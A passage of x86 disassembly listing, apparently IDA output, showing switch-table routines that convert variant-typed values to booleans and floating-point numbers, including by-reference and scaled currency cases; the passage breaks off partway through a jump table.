		cmp	byte ptr [ebx+8], 0 ; jumptable	4000FE6B case 17
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FF9A:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		cmp	word ptr [ebx+8], 0 ; jumptable	4000FE6B case 18
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FFA8:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		cmp	dword ptr [ebx+8], 0 ; jumptable 4000FE6B case 19
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FFB5:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		cmp	dword ptr [ebx+0Ch], 0 ; jumptable 4000FE6B case 20
		jnz	short loc_4000FFBF
		cmp	dword ptr [ebx+8], 0


loc_4000FFBF:				; CODE XREF: sub_4000FE58+161j
		setnz	al
		mov	[esp+8+var_8], al
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FFCA:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		mov	eax, [ebx+8]	; jumptable 4000FE6B case 12
		call	sub_4000FE58
		mov	[esp+8+var_8], al
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FFDA:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		mov	eax, ebx	; jumptable 4000FE6B cases 9,13
		call	sub_4000FD68
		mov	[esp+8+var_8], al
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FFE9:				; CODE XREF: sub_4000FE58+Dj
					; sub_4000FE58+13j
					; DATA XREF: ...
		mov	edx, eax	; default
					; jumptable 4000FE6B cases 10,14,15
		sub	dx, 100h
		jz	short loc_4000FFF9
		dec	dx
		jz	short loc_40010008
		jmp	short loc_40010017
; ---------------------------------------------------------------------------


loc_4000FFF9:				; CODE XREF: sub_4000FE58+198j
		mov	eax, ebx
		call	sub_4000FCA4
		mov	[esp+8+var_8], al
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_40010008:				; CODE XREF: sub_4000FE58+19Dj
		mov	eax, ebx
		call	sub_4000FDA8
		mov	[esp+8+var_8], al
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_40010017:				; CODE XREF: sub_4000FE58+19Fj
		test	ah, 40h
		jz	loc_40010187
		movzx	eax, ax
		and	eax, 0FFFFBFFFh
		cmp	eax, 14h	; switch 21 cases
		ja	loc_4001017B	; default
					; jumptable 40010031 cases 0,1,9,10,13-15
		jmp	ds:off_40010038[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
off_40010038	dd offset loc_4001017B	; DATA XREF: sub_4000FE58+1D9r
		dd offset loc_4001017B	; jump table for switch	statement
		dd offset loc_4001008C
		dd offset loc_4001009C
		dd offset loc_400100AB
		dd offset loc_400100C3
		dd offset loc_400100DB
		dd offset loc_400100F3
		dd offset loc_4001010B
		dd offset loc_4001017B
		dd offset loc_4001017B
		dd offset loc_4001011A
		dd offset loc_4001016E
		dd offset loc_4001017B
		dd offset loc_4001017B
		dd offset loc_4001017B
		dd offset loc_40010129
		dd offset loc_40010135
		dd offset loc_40010141
		dd offset loc_4001014E
		dd offset loc_4001015A
; ---------------------------------------------------------------------------


loc_4001008C:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 2
		cmp	word ptr [eax],	0
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4001009C:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 3
		cmp	dword ptr [eax], 0
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_400100AB:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 4
		fld	dword ptr [eax]
		fcomp	ds:flt_400101A8
		fstsw	ax
		sahf
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_400100C3:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 5
		fld	qword ptr [eax]
		fcomp	ds:flt_400101A8
		fstsw	ax
		sahf
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_400100DB:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 6
		fild	qword ptr [eax]
		fcomp	ds:flt_400101A8
		fstsw	ax
		sahf
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_400100F3:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 7
		fld	qword ptr [eax]
		fcomp	ds:flt_400101A8
		fstsw	ax
		sahf
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4001010B:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, ebx	; jumptable 40010031 case 8
		call	sub_4000FCA4
		mov	[esp+8+var_8], al
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4001011A:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 11
		cmp	word ptr [eax],	1
		sbb	eax, eax
		inc	eax
		mov	[esp+8+var_8], al
		jmp	short loc_4001019E
; ---------------------------------------------------------------------------


loc_40010129:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 16
		cmp	byte ptr [eax],	0
		setnz	[esp+8+var_8]
		jmp	short loc_4001019E
; ---------------------------------------------------------------------------


loc_40010135:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 17
		cmp	byte ptr [eax],	0
		setnz	[esp+8+var_8]
		jmp	short loc_4001019E
; ---------------------------------------------------------------------------


loc_40010141:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 18
		cmp	word ptr [eax],	0
		setnz	[esp+8+var_8]
		jmp	short loc_4001019E
; ---------------------------------------------------------------------------


loc_4001014E:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 19
		cmp	dword ptr [eax], 0
		setnz	[esp+8+var_8]
		jmp	short loc_4001019E
; ---------------------------------------------------------------------------


loc_4001015A:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 20
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40010166
		cmp	dword ptr [eax], 0


loc_40010166:				; CODE XREF: sub_4000FE58+309j
		setnz	al
		mov	[esp+8+var_8], al
		jmp	short loc_4001019E
; ---------------------------------------------------------------------------


loc_4001016E:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 12
		call	sub_4000FE58
		mov	[esp+8+var_8], al
		jmp	short loc_4001019E
; ---------------------------------------------------------------------------


loc_4001017B:				; CODE XREF: sub_4000FE58+1D3j
					; sub_4000FE58+1D9j
					; DATA XREF: ...
		mov	eax, ebx	; default
					; jumptable 40010031 cases 0,1,9,10,13-15
		call	sub_4000FD68
		mov	[esp+8+var_8], al
		jmp	short loc_4001019E
; ---------------------------------------------------------------------------


loc_40010187:				; CODE XREF: sub_4000FE58+1C2j
		mov	edx, esp
		mov	eax, ebx
		call	sub_4000FE0C
		test	al, al
		jnz	short loc_4001019E
		mov	eax, ebx
		call	sub_4000FD68
		mov	[esp+8+var_8], al


loc_4001019E:				; CODE XREF: sub_4000FE58+72j
					; sub_4000FE58+91j ...
		movzx	eax, [esp+8+var_8]
		pop	edx
		pop	ebx
		retn
sub_4000FE58	endp

; ---------------------------------------------------------------------------
		align 4
flt_400101A8	dd 0.0			; DATA XREF: sub_4000FE58+B4r
					; sub_4000FE58+CAr ...

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400101AC	proc near		; CODE XREF: sub_4001036C+FEp
					; sub_4001036C+1B9p ...

var_24		= dword	ptr -24h
var_20		= tbyte	ptr -20h
var_10		= qword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFDCh
		push	ebx
		xor	edx, edx
		mov	[ebp+var_24], edx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40010261
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_4]
		call	sub_40011DFC
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	400h
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, off_4001AFF0
		mov	eax, [eax]
		call	eax
		mov	edx, eax
		sub	edx, 80020005h
		jz	short loc_40010201
		sub	edx, 7FFDFFFBh
		jnz	short loc_40010237
		jmp	short loc_40010243
; ---------------------------------------------------------------------------


loc_40010201:				; CODE XREF: sub_400101AC+49j
		lea	eax, [ebp+var_24]
		mov	edx, [ebp+var_4]
		call	sub_40004B0C
		mov	eax, [ebp+var_24]
		lea	edx, [ebp+var_20]
		call	sub_40008E74
		test	al, al
		jz	short loc_40010224
		fld	[ebp+var_20]
		fstp	[ebp+var_10]
		wait
		jmp	short loc_40010243
; ---------------------------------------------------------------------------


loc_40010224:				; CODE XREF: sub_400101AC+6Dj
		movzx	edx, word ptr [ebx]
		mov	cx, 5
		mov	eax, 80020005h
		call	sub_4000E034
		jmp	short loc_40010243
; ---------------------------------------------------------------------------


loc_40010237:				; CODE XREF: sub_400101AC+51j
		movzx	edx, word ptr [ebx]
		mov	cx, 5
		call	sub_4000E034


loc_40010243:				; CODE XREF: sub_400101AC+53j
					; sub_400101AC+76j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40010268


loc_40010250:				; CODE XREF: sub_400101AC+BAj
		lea	eax, [ebp+var_24]
		call	sub_40004884
		lea	eax, [ebp+var_4]
		call	sub_40005008
		retn
; ---------------------------------------------------------------------------


loc_40010261:				; DATA XREF: sub_400101AC+14o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40010250
; ---------------------------------------------------------------------------


loc_40010268:				; CODE XREF: sub_400101AC+B4j
					; DATA XREF: sub_400101AC+9Fo
		fld	[ebp+var_10]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_400101AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40010270	proc near		; CODE XREF: sub_4001036C+199p
					; sub_4001036C+349p ...

var_1C		= qword	ptr -1Ch
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
		add	esp, 0FFFFFFE8h
		mov	ebx, eax
		lea	eax, [esp+1Ch+var_14]
		push	eax
		call	sub_4000CDD8
		push	5
		push	0
		push	400h
		push	ebx
		lea	eax, [esp+2Ch+var_14]
		push	eax
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		movzx	edx, word ptr [ebx]
		mov	cx, 5
		call	sub_4000E034
		mov	eax, [esp+1Ch+var_C]
		mov	dword ptr [esp+1Ch+var_1C], eax
		mov	eax, [esp+1Ch+var_8]
		mov	dword ptr [esp+1Ch+var_1C+4], eax
		fld	[esp+1Ch+var_1C]
		add	esp, 18h
		pop	ebx
		retn
sub_40010270	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400102BC	proc near		; CODE XREF: sub_4001036C+1C9p

var_18		= byte ptr -18h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		mov	ebx, eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_40010311
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_18]
		call	sub_4000E700
		lea	eax, [ebp+var_18]
		call	ds:off_4001F29C
		lea	eax, [ebp+var_18]
		call	sub_4001036C
		fstp	[ebp+var_8]
		wait
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40010318


loc_40010308:				; CODE XREF: sub_400102BC+5Aj
		lea	eax, [ebp+var_18]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_40010311:				; DATA XREF: sub_400102BC+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40010308
; ---------------------------------------------------------------------------


loc_40010318:				; CODE XREF: sub_400102BC+54j
					; DATA XREF: sub_400102BC+47o
		fld	[ebp+var_8]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_400102BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40010320	proc near		; CODE XREF: sub_4001036C+358p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFECh
		mov	edi, edx
		mov	esi, eax
		mov	edx, esp
		movzx	eax, word ptr [esi]
		call	sub_40012D98
		mov	ebx, eax
		test	bl, bl
		jz	short loc_40010362
		lea	eax, [esp+20h+var_1C]
		push	eax
		call	sub_4000CDD8
		push	5
		mov	ecx, esi
		lea	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		mov	eax, [esp+20h+var_14]
		mov	[edi], eax
		mov	eax, [esp+20h+var_10]
		mov	[edi+4], eax


loc_40010362:				; CODE XREF: sub_40010320+18j
		mov	eax, ebx
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40010320	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4001036C	proc near		; CODE XREF: sub_4000E9CC+116p
					; sub_400102BC+36p ...

var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= qword	ptr -0Ch

		push	ebx
		add	esp, 0FFFFFFECh
		mov	ebx, eax
		movzx	eax, word ptr [ebx]
		movzx	edx, ax
		cmp	edx, 14h	; switch 21 cases
		ja	loc_40010513	; default
					; jumptable 40010381 cases 10,14,15
		jmp	ds:off_40010388[edx*4] ; switch	jump
; ---------------------------------------------------------------------------
off_40010388	dd offset loc_400103DC	; DATA XREF: sub_4001036C+15r
		dd offset loc_400103EA	; jump table for switch	statement
		dd offset loc_4001040E
		dd offset loc_4001041A
		dd offset loc_40010426
		dd offset loc_40010432
		dd offset loc_40010444
		dd offset loc_40010456
		dd offset loc_40010468
		dd offset loc_40010503
		dd offset loc_40010513
		dd offset loc_40010478
		dd offset loc_400104F2
		dd offset loc_40010503
		dd offset loc_40010513
		dd offset loc_40010513
		dd offset loc_4001048D
		dd offset loc_400104A2
		dd offset loc_400104B7
		dd offset loc_400104CC
		dd offset loc_400104E6
; ---------------------------------------------------------------------------


loc_400103DC:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		xor	eax, eax	; jumptable 40010381 case 0
		mov	dword ptr [esp+18h+var_18], eax
		mov	dword ptr [esp+18h+var_18+4], eax
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_400103EA:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		cmp	byte_4001AA10, 0 ; jumptable 40010381 case 1
		jz	short loc_40010400
		mov	dx, 5
		mov	ax, 1
		call	sub_4000DBF4


loc_40010400:				; CODE XREF: sub_4001036C+85j
		xor	eax, eax
		mov	dword ptr [esp+18h+var_18], eax
		mov	dword ptr [esp+18h+var_18+4], eax
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_4001040E:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		fild	word ptr [ebx+8] ; jumptable 40010381 case 2
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_4001041A:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		fild	dword ptr [ebx+8] ; jumptable 40010381 case 3
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_40010426:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		fld	dword ptr [ebx+8] ; jumptable 40010381 case 4
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_40010432:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		mov	eax, [ebx+8]	; jumptable 40010381 case 5
		mov	dword ptr [esp+18h+var_18], eax
		mov	eax, [ebx+0Ch]
		mov	dword ptr [esp+18h+var_18+4], eax
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_40010444:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		fild	qword ptr [ebx+8] ; jumptable 40010381 case 6
		fdiv	ds:flt_400106E0
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_40010456:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		mov	eax, [ebx+8]	; jumptable 40010381 case 7
		mov	dword ptr [esp+18h+var_18], eax
		mov	eax, [ebx+0Ch]
		mov	dword ptr [esp+18h+var_18+4], eax
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_40010468:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		mov	eax, ebx	; jumptable 40010381 case 8
		call	sub_400101AC
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_40010478:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		movsx	eax, word ptr [ebx+8] ;	jumptable 40010381 case	11
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_4001048D:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		movsx	eax, byte ptr [ebx+8] ;	jumptable 40010381 case	16
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_400104A2:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		movzx	eax, byte ptr [ebx+8] ;	jumptable 40010381 case	17
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_400104B7:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		movzx	eax, word ptr [ebx+8] ;	jumptable 40010381 case	18
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_400104CC:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		mov	eax, [ebx+8]	; jumptable 40010381 case 19
		mov	dword ptr [esp+18h+var_C], eax
		xor	eax, eax
		mov	dword ptr [esp+18h+var_C+4], eax
		fild	[esp+18h+var_C]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_400104E6:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		fild	qword ptr [ebx+8] ; jumptable 40010381 case 20
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_400104F2:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		mov	eax, [ebx+8]	; jumptable 40010381 case 12
		call	sub_4001036C
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_40010503:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		mov	eax, ebx	; jumptable 40010381 cases 9,13
		call	sub_40010270
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_40010513:				; CODE XREF: sub_4001036C+Fj
					; sub_4001036C+15j
					; DATA XREF: ...
		mov	edx, eax	; default
					; jumptable 40010381 cases 10,14,15
		sub	dx, 100h
		jz	short loc_40010523
		dec	dx
		jz	short loc_40010533
		jmp	short loc_40010543
; ---------------------------------------------------------------------------


loc_40010523:				; CODE XREF: sub_4001036C+1AEj
		mov	eax, ebx
		call	sub_400101AC
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_40010533:				; CODE XREF: sub_4001036C+1B3j
		mov	eax, ebx
		call	sub_400102BC
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_40010543:				; CODE XREF: sub_4001036C+1B5j
		test	ah, 40h
		jz	loc_400106C0
		movzx	eax, ax
		and	eax, 0FFFFBFFFh
		cmp	eax, 14h	; switch 21 cases
		ja	loc_400106B3	; default
					; jumptable 4001055D cases 0,1,9,10,13-15
		jmp	ds:off_40010564[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
off_40010564	dd offset loc_400106B3	; DATA XREF: sub_4001036C+1F1r
		dd offset loc_400106B3	; jump table for switch	statement
		dd offset loc_400105B8
		dd offset loc_400105C6
		dd offset loc_400105D4
		dd offset loc_400105E2
		dd offset loc_400105F6
		dd offset loc_4001060A
		dd offset loc_4001061E
		dd offset loc_400106B3
		dd offset loc_400106B3
		dd offset loc_4001062E
		dd offset loc_400106A5
		dd offset loc_400106B3
		dd offset loc_400106B3
		dd offset loc_400106B3
		dd offset loc_40010645
		dd offset loc_40010659
		dd offset loc_4001066D
		dd offset loc_40010681
		dd offset loc_4001069A
; ---------------------------------------------------------------------------


loc_400105B8:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 2
		fild	word ptr [eax]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_400105C6:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 3
		fild	dword ptr [eax]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_400105D4:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 4
		fld	dword ptr [eax]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_400105E2:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 5
		mov	edx, [eax]
		mov	dword ptr [esp+18h+var_18], edx
		mov	edx, [eax+4]
		mov	dword ptr [esp+18h+var_18+4], edx
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_400105F6:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 6
		fild	qword ptr [eax]
		fdiv	ds:flt_400106E0
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_4001060A:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 7
		mov	edx, [eax]
		mov	dword ptr [esp+18h+var_18], edx
		mov	edx, [eax+4]
		mov	dword ptr [esp+18h+var_18+4], edx
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_4001061E:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, ebx	; jumptable 4001055D case 8
		call	sub_400101AC
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_4001062E:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 11
		movsx	eax, word ptr [eax]
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_40010645:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 16
		movsx	eax, byte ptr [eax]
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_400106D8
; ---------------------------------------------------------------------------


loc_40010659:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 17
		movzx	eax, byte ptr [eax]
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_400106D8
; ---------------------------------------------------------------------------


loc_4001066D:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 18
		movzx	eax, word ptr [eax]
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_400106D8
; ---------------------------------------------------------------------------


loc_40010681:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 19
		mov	eax, [eax]
		mov	dword ptr [esp+18h+var_C], eax
		xor	eax, eax
		mov	dword ptr [esp+18h+var_C+4], eax
		fild	[esp+18h+var_C]
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_400106D8
; ---------------------------------------------------------------------------


loc_4001069A:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 20
		fild	qword ptr [eax]
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_400106D8
; ---------------------------------------------------------------------------


loc_400106A5:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 12
		call	sub_4001036C
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_400106D8
; ---------------------------------------------------------------------------


loc_400106B3:				; CODE XREF: sub_4001036C+1EBj
					; sub_4001036C+1F1j
					; DATA XREF: ...
		mov	eax, ebx	; default
					; jumptable 4001055D cases 0,1,9,10,13-15
		call	sub_40010270
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_400106D8
; ---------------------------------------------------------------------------


loc_400106C0:				; CODE XREF: sub_4001036C+1DAj
		mov	edx, esp
		mov	eax, ebx
		call	sub_40010320
		test	al, al
		jnz	short loc_400106D8
		mov	eax, ebx
		call	sub_40010270
		fstp	[esp+18h+var_18]
		wait


loc_400106D8:				; CODE XREF: sub_4001036C+79j
					; sub_4001036C+9Dj ...
		fld	[esp+18h+var_18]
		add	esp, 14h
		pop	ebx
		retn
sub_4001036C	endp

; ---------------------------------------------------------------------------
flt_400106E0	dd 1.0e4		; DATA XREF: sub_4001036C+DBr
					; sub_4001036C+28Fr

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400106E4	proc near		; CODE XREF: sub_4000E9CC+FCp

var_14		= qword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		cmp	eax, 14h	; switch 21 cases
		ja	loc_40010825	; default
					; jumptable 400106FF cases 5-10,12-15
		jmp	ds:off_40010706[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
off_40010706	dd offset loc_4001075A	; DATA XREF: sub_400106E4+1Br
		dd offset loc_40010764	; jump table for switch	statement
		dd offset loc_40010784
		dd offset loc_40010793
		dd offset loc_400107A2
		dd offset loc_40010825
		dd offset loc_40010825
		dd offset loc_40010825
		dd offset loc_40010825
		dd offset loc_40010825
		dd offset loc_40010825
		dd offset loc_400107B0
		dd offset loc_40010825
		dd offset loc_40010825
		dd offset loc_40010825
